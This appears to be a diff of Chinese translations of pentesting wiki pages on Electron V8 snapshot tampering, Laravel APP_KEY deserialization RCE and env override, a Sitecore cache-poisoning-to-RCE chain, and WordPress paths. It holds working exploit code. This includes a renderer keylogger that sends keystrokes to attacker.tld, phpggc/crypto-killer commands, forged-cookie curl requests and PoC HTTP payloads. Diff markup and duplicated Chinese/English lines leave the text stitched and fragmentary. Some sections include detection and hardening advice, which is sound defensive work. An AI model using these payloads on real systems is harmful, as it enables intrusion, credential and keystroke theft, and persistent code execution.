Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 堆快照v8_context_snapshot.bin可选的还有 browser_v8_context_snapshot.bin来初始化每个 V8 isolatemain、preload、renderer。历Electron 的完整性 fuses 并未将这些快照视为可执行内容,因此它们绕过了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在用户可写的安装目录中替换快照可以在不修改已签名二进制文件或 ASAR 的情况下,提供在应用内隐蔽且持久的代码执行。
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar 验证 ASAR 内的应用 JavaScript但它们并不覆盖 V8 heap snapshotsCVE-2025-55305。Chromium 同样不对 snapshots 进行完整性校验。
- Attack preconditions: 本地文件写入到应用的安装目录。在 Electron 应用或 Chromium 浏览器安装在用户可写路径的系统上这很常见(例如 Windows 的 %AppData%\LocalmacOS 上的 /Applications 有一些注意事项)
- Effect: 通过覆盖一个常用的 builtin一个“gadget”可以在任意 isolate 中可靠执行攻击者的 JavaScript从而实现持久化并规避代码签名校验。
- Affected surface: 从用户可写位置加载 snapshots 的 Electron 应用(即便启用了 fuses基于 Chromium 的浏览器。
- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions: 向应用安装目录写入本地文件。在 Electron 应用或 Chromium 浏览器安装于用户可写路径(例如 Windows 上的 %AppData%\LocalmacOS 上的 /Applications 有若干限制)的系统上,这种情况很常见
- Effect: 通过篡改一个常用的内置项(即 “gadget”能在任意 isolate 中可靠执行攻击者的 JavaScript从而实现持久性并规避代码签名校验。
- Affected surface: Electron apps即使启用了 fuses以及从用户可写位置加载快照的基于 Chromium 的浏览器。
Generating a malicious snapshot without building Chromium
- 使用预构建的 electron/mksnapshot 将 payload JS 编译为 snapshot然后覆盖应用的 v8_context_snapshot.bin。
- 使用预构建的 electron/mksnapshot 将 payload JS 编译为快照,并覆盖应用的 v8_context_snapshot.bin。
Example minimal payload (prove execution by forcing a crash)
```js
@ -466,11 +461,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (run different code in main vs. renderer)
- 主进程检测:仅在 Node 中可用的全局变量(如 process.pid、process.binding() 或 process.dlopen存在于主进程 isolate 中。
- 浏览器/渲染器 检测:仅在浏览器中可用的全局变量(如 alert在运行于 document 上下文时可用。
Isolate-aware payload routing(在 main 与 renderer 中运行不同的 code
- Main process 检测Node-only globals例如 process.pid、process.binding() 或 process.dlopen存在于 main process 的 isolate 中。
- Browser/renderer 检测Browser-only globals例如 alert在 document 上下文中运行时可用。
示例 gadget一次探测主进程 Node 能力
示例 gadget一次性探测 main-process 的 Node 能力
```js
const orig = Array.isArray;
@ -499,7 +494,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context 数据窃取 PoC例如 Slack
渲染器/浏览器上下文 数据窃取 PoC例如 Slack
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -523,24 +518,24 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
操作流程
1) 编写 payload.js用于覆写常见的 builtin例如 Array.isArray并可选择按 isolate 分支。
2) 在不包含 Chromium 源码的情况下构建 snapshot
Operator workflow
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) 覆盖目标应用的 snapshot 文件:
- v8_context_snapshot.bin(始终使用)
- browser_v8_context_snapshot.bin(如果使用了 LoadBrowserProcessSpecificV8Snapshot fuse
4) 启动应用;每当被选择的 builtin 被调用时gadget 会执行。
3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
注释与注意事项
- Integrity/signature bypassSnapshot 文件在 code-signing 检查中不被视为本地可执行文件,并且(历史上)未被 Electron 的 fuses 或 Chromium 的 完整性 控制覆盖。
- Persistence:在用户可写的安装目录中替换 snapshot 通常能在应用重启后保持,并且看起来像一个签名的合法应用。
- Chromium browsers:相同的篡改概念适用于安装在用户可写位置的 Chrome/衍生版本。Chrome 有其他的完整性缓解措施,但明确将物理本地攻击排除在其威胁模型之外。
注意事项与考虑
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
检测与缓解
- 将 snapshots 视为可执行内容并纳入完整性强制CVE-2025-55305 fix
- 优先使用仅管理员可写的安装位置;为 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希。
- 检测早期运行时 builtin 被覆写以及意外的 snapshot 变更;当反序列化的 snapshot 与预期不符时发出警报。
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
## **References**

View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
在此阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
在此查看相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel 在内部使用 AES-256-CBC或 GCM并结合 HMAC 完整性(`Illuminate\\Encryption\\Encrypter`)。
最终**发送给客户端**的原始密文是类似下面这种**Base64 的 JSON 对象**
Laravel 在底层使用 AES-256-CBC或 GCM并结合 HMAC 完整性(`Illuminate\\Encryption\\Encrypter`)。
最终**发送给客户端**的原始密文是一个 JSON 对象的 **Base64**,格式如下
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -22,21 +22,21 @@ Laravel 在内部使用 AES-256-CBC或 GCM并结合 HMAC 完整性(`Illu
```
`encrypt($value, $serialize=true)` 默认会对明文执行 `serialize()`,而
`decrypt($payload, $unserialize=true)` **会自动对解密后的值执行 `unserialize()`**
因此**任何知道 32 字节密钥 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象并通过魔术方法(`__wakeup`, `__destruct`, …)获得 RCE**
因此 **任何知道 32 字节密钥 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法(`__wakeup`、`__destruct`、…)获得 RCE**
Minimal PoC (framework ≥9.x):
最小 PoCframework ≥9.x
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
将生成的字符串注入任何可被利用的 `decrypt()` sink路由参数、cookie、session、…
将生成的字符串注入到任何易受攻击的 `decrypt()` sink (route param, cookie, session, …)
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个流程并添加了一个方便**bruteforce** 模式:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个过程并添加了一个便捷**bruteforce** 模式:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -47,21 +47,21 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
该脚本透明地支持 CBC 和 GCM payloads并重新生成 HMAC/tag 字段。
---
## 真实世界的易受攻击模式
| 项目 | 易受攻击的 sink | Gadget |
| 项目 | 易受攻击的 sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 在启用 `Passport::withCookieSerialization()` | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
利用流程始终如下:
1. 获取或暴力破解 32 字节的 `APP_KEY`
2. 使用 **PHPGGC** 构建 gadget (例如 `Laravel/RCE13``Laravel/RCE9``Laravel/RCE15`)。
2. 使用 **PHPGGC** 构建 gadget chain(例如 `Laravel/RCE13``Laravel/RCE9``Laravel/RCE15`)。
3. 使用 **laravel_crypto_killer.py** 和恢复的 `APP_KEY` 对序列化的 gadget 进行加密。
4. 将密文传递给易受攻击的 `decrypt()` sink路由参数、cookie、session …)以触发 **RCE**
@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
## 通过 cookie brute-force 发现大量 APP_KEY
由于每个新的 Laravel 响应至少设置一个加密 cookie (`XSRF-TOKEN` 通常还有 `laravel_session`)**public internet scanners (Shodan, Censys, …) leak millions of ciphertexts**,这些密文可离线攻击。
由于每个新的 Laravel 响应至少会设置一个加密 cookie (`XSRF-TOKEN`,通常还有 `laravel_session`)**公共互联网扫描器 (Shodan, Censys, …) leak 数百万条密文**,这些密文可以离线攻击。
Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens**3.99 % 密钥被破解**≈23 k
* Dataset May 2025 » 625 k tokens**3.56 % 密钥被破解**
* >1 000 servers 仍然易受 legacy CVE-2018-15133 影响,因为 tokens 直接包含序列化数据。
* 大量密钥复用 前 10 个 APP_KEY 是随商业 Laravel 模板UltimatePOS, Invoice Ninja, XPanel, …)一起分发的硬编码默认值。
Synacktiv (2024-2025) 发布的研究主要发现:
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 台服务器仍然易受旧版 CVE-2018-15133 的影响,因为 tokens 直接包含序列化数据。
* 大量密钥复用 Top-10 APP_KEYs 是随商用 Laravel 模板UltimatePOS, Invoice Ninja, XPanel, …)一起分发的硬编码默认值。
私有 Go 工具 **nounours** 将 AES-CBC/GCM bruteforce 吞吐量推高到约 1.5 billion tries/s使完整数据集破解时间降至 <2 分钟
私有 Go 工具 **nounours** 将 AES-CBC/GCM bruteforce 吞吐量推到约 1.5 billion tries/s使得对完整数据集的 cracking 时间降到 <2 分钟
## CVE-2024-52301 HTTP argv/env 覆盖 → auth bypass
当 PHP 的 `register_argc_argv=On`许多发行版的典型设置PHP 会为来自查询字符串的 HTTP 请求暴露一个 `argv` 数组。最近的 Laravel 版本会解析这些“CLI-like”参数并在运行时识别 `--env=<value>`。这允许仅通过将其附加到任意 URL 来切换当前 HTTP 请求的框架环境:
当 PHP 的 `register_argc_argv=On`在许多发行版上常见PHP 会为 HTTP 请求暴露一个基于查询字符串的 `argv` 数组。近期的 Laravel 版本会解析这些“类似 CLI”的参数并在运行时识别 `--env=<value>`。这允许仅通过在任意 URL 后追加该参数,就能切换当前 HTTP 请求的框架环境:
- Quick check:
- 访问 `https://target/?--env=local` 或任意字符串,观察与环境相关的变化debug 横幅、页脚、详细错误)。如果该字符串被反射,覆盖就有效。
- 访问 `https://target/?--env=local` 或任意字符串,观察是否出现与环境相关的变化(调试横幅、页脚、详细错误信息)。如果字符串被反射,说明覆盖生效。
- Impact example (business logic trusting a special env):
- 如果应用包含诸如 `if (app()->environment('preprod')) { /* bypass auth */ }` 的分支,您可以在不提供有效凭据的情况下通过发送登录 POST 到
- 如果应用包含`if (app()->environment('preprod')) { /* bypass auth */ }` 这样的分支,你可以通过向登录发送带上该参数的 POST 来在没有有效凭证的情况下认证
- `POST /login?--env=preprod`
- Notes:
- 仅对单次请求生效,不会持久化
- 需要 `register_argc_argv=On`,以及会为 HTTP 读取 argv 的易受攻击 Laravel 版本
- 这是一个有用的原语,可用于在“debug”envs 中显示更详细的错误,或触发受环境控制的代码路径。
- 仅对单次请求生效,不具备持久性
- 需要 `register_argc_argv=On` 且 Laravel 版本会对 HTTP 读取 argv
- 这是一个有用的原语,可用于在 “debug” 环境中触发更详细的错误或触发受环境限制的代码路径。
- Mitigations:
- 对 PHP-FPM/Apache 禁用 `register_argc_argv`
- 升级 Laravel 以在 HTTP 请求中忽略 argv并在生产路由中移除任何基于 `app()->environment()`信任假设。
- 在 PHP-FPM/Apache 中禁用 `register_argc_argv`
- 升级 Laravel 以忽略 HTTP 请求中的 argv并移除生产路由中对 `app()->environment()` 的任何信任假设。
Minimal exploitation flow (Burp):
```http
@ -134,17 +134,17 @@ email=a@b.c&password=whatever&remember=0xdf
![](<../../images/image (1046).png>)
这通常是利用其他 Laravel RCE CVEs 时所需的。
这通常是利用其他 Laravel RCE CVE 时所需的。
### 指纹识别暴露的开发端点
### 指纹识别 & 暴露的开发端点
快速检查以识别 Laravel 堆栈以及在生产环境中暴露的危险开发工具:
- `/_ignition/health-check` → 存在 Ignition用于 CVE-2021-3129 的调试工具)。如果在未认证的情况下可访问,应用可能处于调试模式或配置错误。
- `/_debugbar` → Laravel Debugbar 资源;通常表处于调试模式。
- `/telescope` → Laravel Telescope开发监控。如果公开可能会有大量信息泄露和可执行的操作。
- `/horizon` → 队列仪表板;可能泄露版本信息,且有时包含受 CSRF 保护的动作。
- `X-Powered-By`、cookie `XSRF-TOKEN``laravel_session`,以及 Blade 错误页面也有助于指纹识别。
- `/_ignition/health-check` → 存在 Ignition用于 CVE-2021-3129 的调试工具)。如果未经认证即可访问,应用可能处于调试状态或配置错误。
- `/_debugbar` → Laravel Debugbar 资源;通常表处于调试模式。
- `/telescope` → Laravel Telescope开发监控。如果公开可能会导致大量信息泄露和潜在操作。
- `/horizon` → 队列仪表板;可能会泄露版本信息,有时还包含受 CSRF 保护的操作。
- `X-Powered-By`、cookie `XSRF-TOKEN``laravel_session`,以及 Blade 错误页面也有助于进行指纹识别。
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel 将用于加密 cookies 和其他凭据的 APP 保存到名为 `.env` 的文件中,该文件可以通过某些路径遍历访问:`/../.env`
Laravel 将用于加密 cookies 和其他凭证的 APP 保存在一个名为 `.env` 的文件中,该文件可以通过类似 `/../.env` 的路径遍历访问。
Laravel 还会在调试页面中显示这些信息(当 Laravel 发现错误并启用时会出现该页面)
当 Laravel 触发错误并启用时Laravel 也会在 debug page 中显示这些信息
使用 Laravel 的 APP_KEY密钥可以解密并重新加密 cookies
使用 Laravel 的机密 APP_KEY你可以 decrypt 和 re-encrypt cookies
### Decrypt Cookie
```python
@ -220,12 +220,11 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
```
### Laravel Deserialization RCE
易受影响的版本5.5.40 和 5.6.x 至 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
关于 deserialization 漏洞的信息 [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
你可以在此找到关于 deserialization 漏洞 的信息: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
你可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 进行测试和利用。\
或者你也可以使用 metasploit 进行利用:`use unix/http/laravel_token_unserialize_exec`
你可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 来 test 和 exploit。或者你也可以用 metasploit exploit`use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@ -233,7 +232,7 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
## 参考资料
## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
本页总结了针对 Sitecore XP 10.4.1 的一个实用攻击链,该链从 preauth XAML handler 出发,利用 HTML cache poisoning并通过一个 authenticated UI 流程最终通过 BinaryFormatter deserialization 实现 RCE。这些技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。
本页概述了针对 Sitecore XP 10.4.1 的一个实战攻击链,该链从一个 preauth XAML handler 出发,转向 HTML cache poisoning并通过一个 authenticated UI flow利用 BinaryFormatter deserialization 达成 RCE。相关技术可推广到类似的 Sitecore 版本/组件,并提供用于测试、检测和加固的具体原语。
- 受影响并测试的产品Sitecore XP 10.4.1 rev. 011628
- 修复于KB1003667、KB10037342025年6/7月
- 受影响并测试的产品: Sitecore XP 10.4.1 rev. 011628
- 已修复于: KB1003667, KB1003734 (June/July 2025)
另见
另见:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
@ -19,7 +19,7 @@
## Preauth primitive: XAML Ajax reflection → HtmlCache write
入口是注册在 web.config 中的 preauth XAML handler
入口是注册在 web.config 中的 preauth XAML handler:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
@ -27,7 +27,7 @@
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
制树包含 AjaxScriptManager它在事件请求时读取 attackercontrolled 字段,并通过反射在目标控件上调用方法:
件树包含 AjaxScriptManager在事件请求时它会读取 attackercontrolled fields 并通过反射在目标控件上调用方法:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
关键观察XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 派生自 Sitecore.Web.UI.WebControl一个 Sitecore 类),它通过 ReflectionUtil.Filter allowlist (Sitecore.*),解锁了 Sitecore WebControl 上的方法。
关键观察XAML 页面包含一个 XmlControl 实例 (xmlcontrol:GlobalHeader)。Sitecore.XmlControls.XmlControl 继承自 Sitecore.Web.UI.WebControl一个 Sitecore 类),后者通过 ReflectionUtil.Filter 的允许列表 (Sitecore.*),从而解锁 Sitecore WebControl 上的方法。
Magic method for poisoning:
用于 poisoning 的 Magic 方法:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
因为我们可以定向到 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 方法,所以我们获得了一个 preauth 任意 HtmlCache 写入原语。
由于我们可以定位 xmlcontrol:GlobalHeader 并按名称调用 Sitecore.Web.UI.WebControl 的方法,因此我们得到一个 preauth 任意 HtmlCache 写入原语。
### PoC 请求 (CVE-2025-53693)
```
@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
说明:
- __SOURCE 是 xmlcontrol:GlobalHeader 在 Sitecore.Shell.Xaml.WebControl 中的 clientID通常稳定例如 ctl00_ctl00_ctl05_ctl03因为它来自静态 XAML
- __PARAMETERS 的格式 Method("arg1","arg2").
Notes:
- __SOURCE 是在 Sitecore.Shell.Xaml.WebControl 中 xmlcontrol:GlobalHeader 的 clientID通常稳定例如 ctl00_ctl00_ctl05_ctl03因为它来自静态 XAML
- __PARAMETERS 的格式 Method("arg1","arg2").
## What to poison: Cache key construction
## What to poison: 缓存键构造
典型的 Sitecore 控件使用的 HtmlCache key 构造:
Sitecore 控件 使用的典型 HtmlCache 键构造:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -90,15 +90,15 @@ return k;
return string.Empty;
}
```
针对已知 sublayout 的定向中毒示例:
针对已知 sublayout 的 targeted poisoning 示例:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## 枚举可缓存项和 “vary by” 维度
如果 ItemService 被(不当)匿名暴露,你可以枚举可缓存组件以推导出精确键。
如果 ItemService 被 (mis)exposed 并允许匿名访问,你可以枚举可缓存组件以推导出精确键。
快速探测:
Quick probe:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
@ -108,13 +108,13 @@ GET /sitecore/api/ssc/item
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
查找类似 Path、Cacheable、VaryByDevice、VaryByLogin、ClearOnIndexUpdate 的字段。设备名称可通过以下方式枚举:
查找像 Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 这样的字段。设备名称可以通过以下方式枚举:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Sidechannel enumeration 在受限身份下 (CVE-2025-53694)
### Sidechannel enumeration under restricted identities (CVE-2025-53694)
即使 ItemService 模拟一个受限账户(例如 ServicesAPI并返回一个空的 Results 数组TotalCount 仍可能反映 preACL 的 Solr 命中。你可以用 wildcards 对 item groups/ids 进行 brute-force并观察 TotalCount 收敛,以映射内部内容和设备:
即使 ItemService 以受限账户(例如 ServicesAPI模拟并返回一个空的 Results 数组TotalCount 仍可能反映 preACL 的 Solr 命中。你可以对 item groups/ids 使用 bruteforce 和 wildcards并观察 TotalCount 收敛以映射内部内容和设备:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -123,22 +123,22 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Postauth RCEBinaryFormatter 在 convertToRuntimeHtml 中的 sinkCVE-2025-53691
## Postauth RCE: BinaryFormatter sink 位于 convertToRuntimeHtml (CVE-2025-53691)
漏洞点
漏洞点:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
可通过 convertToRuntimeHtml 管道步骤 ConvertWebControls 访问,该步骤查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将生成的字符串注入到 HTML 中:
可通过 convertToRuntimeHtml pipeline 步骤 ConvertWebControls 访问,该步骤会查找 id 为 {iframeId}_inner 的元素,对其进行 base64 解码并反序列化,然后将得到的字符串注入到 HTML 中:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
触发已认证Content Editor 权限。FixHtml 对话框调用 convertToRuntimeHtml。端到端无需 UI 点击:
触发已认证Content Editor 权限。FixHtml 对话框调用 convertToRuntimeHtml。端到端无需 UI 点击:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,31 +159,31 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个 base64 payload返回一个 string。string 的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。
Gadget generation: 使用 ysoserial.net / YSoNet 和 BinaryFormatter 生成一个返回字符串的 base64 payload。该字符串的内容在反序列化副作用执行后由 ConvertWebControls 写入 HTML。
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## 完整链
## 完整利用
1) Preauth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache向 HtmlCache 注入任意 HTML。
2) 被注入的 HTML 提供 JavaScript诱导已认证的 Content Editor 用户进入 FixHtml 流程。
3) FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls该过程通过 BinaryFormatter 对攻击者控制的 base64 进行反序列化 → 导致以 Sitecore 应用程序池身份的 RCE。
1) Preauth 攻击者通过 XAML AjaxScriptManager 反射调用 WebControl.AddToCache将任意 HTML 注入 HtmlCache。
2) 被污染的 HTML 提供 JavaScript促使已认证的 Content Editor 用户进入 FixHtml 流程。
3) FixHtml 页面触发 convertToRuntimeHtml → ConvertWebControls后者通过 BinaryFormatter 反序列化攻击者控制的 base64导致以 Sitecore 应用池身份的 RCE。
## 检测
- Preauth XAML`/-/xaml/Sitecore.Shell.Xaml.WebControl` 的请求带有 `__ISEVENT=1`、可疑的 `__SOURCE``__PARAMETERS=AddToCache(...)`
- ItemService 探测:出现 `/sitecore/api/ssc` 通配查询激增,`TotalCount` 很大但 `Results` 为空。
- 反序列化尝试:先是 `EditHtml.aspx`,随后 `FixHtml.aspx?hdl=...`,以及 HTML 字段中异常大的 base64。
- Preauth XAML`/-/xaml/Sitecore.Shell.Xaml.WebControl` 的请求带有 `__ISEVENT=1`、可疑的 `__SOURCE``__PARAMETERS=AddToCache(...)`
- ItemService 探测:`/sitecore/api/ssc` 的通配符查询激增,`TotalCount` 很大但 `Results` 为空。
- 反序列化尝试:`EditHtml.aspx` 随后是 `FixHtml.aspx?hdl=...`,以及 HTML 字段中异常大的 base64。
## 加固
- 应用 Sitecore 补丁 KB1003667 和 KB1003734对 preauth XAML 处理器进行限流/禁用或加入严格验证;监控并对 `/-/xaml/` 实施速率限制。
- 移除/替换 BinaryFormatter限制对 convertToRuntimeHtml 的访问,或对 HTML 编辑流程实施强健的服务器端验证。
- 将 `/sitecore/api/ssc` 锁定为 loopback 或认证角色访问;避免使用导致基于 `TotalCount` 的 side channels leak 的 impersonation 模式。
- 强制对 Content Editor 用户实施 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 中 JS steering 的影响。
- 应用 Sitecore 补丁 KB1003667 和 KB1003734对 preauth XAML 处理程序进行隔离/禁用或添加严格校验;监控并对 `/-/xaml/` 实施速率限制。
- 移除/替换 BinaryFormatter限制对 convertToRuntimeHtml 的访问或对 HTML 编辑流程执行强健的服务器端校验。
- 将 `/sitecore/api/ssc` 限制为 loopback 或经认证的角色访问;避免采用可能导致 `TotalCount`based 侧信道 leak 的 impersonation 模式。
- 对 Content Editor 用户强制 MFA/最小权限原则;审查 CSP 以减少 cache poisoning 导致的 JS steering 影响。
## References

View File

@ -4,47 +4,47 @@
## 基本信息
- **Uploaded** 文件存放于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** 所以如果你修改主题的某些 php 来获取 RCE通常会使用该路径。例如使用 **theme twentytwelve** 你可以 **access** **404.php** 文件于: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **已上传** 的文件会放到: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **主题文件位于 /wp-content/themes/**,所以如果你修改主题的某些 php 来获取 RCE你很可能会使用该路径。例如使用 **theme twentytwelve** 可以在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) 访问 **404.php** 文件。
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **另一个有用的 url 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- 在 **wp-config.php** 中可以找到数据库的 root 密码。
- 默认可检查的登录路径: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
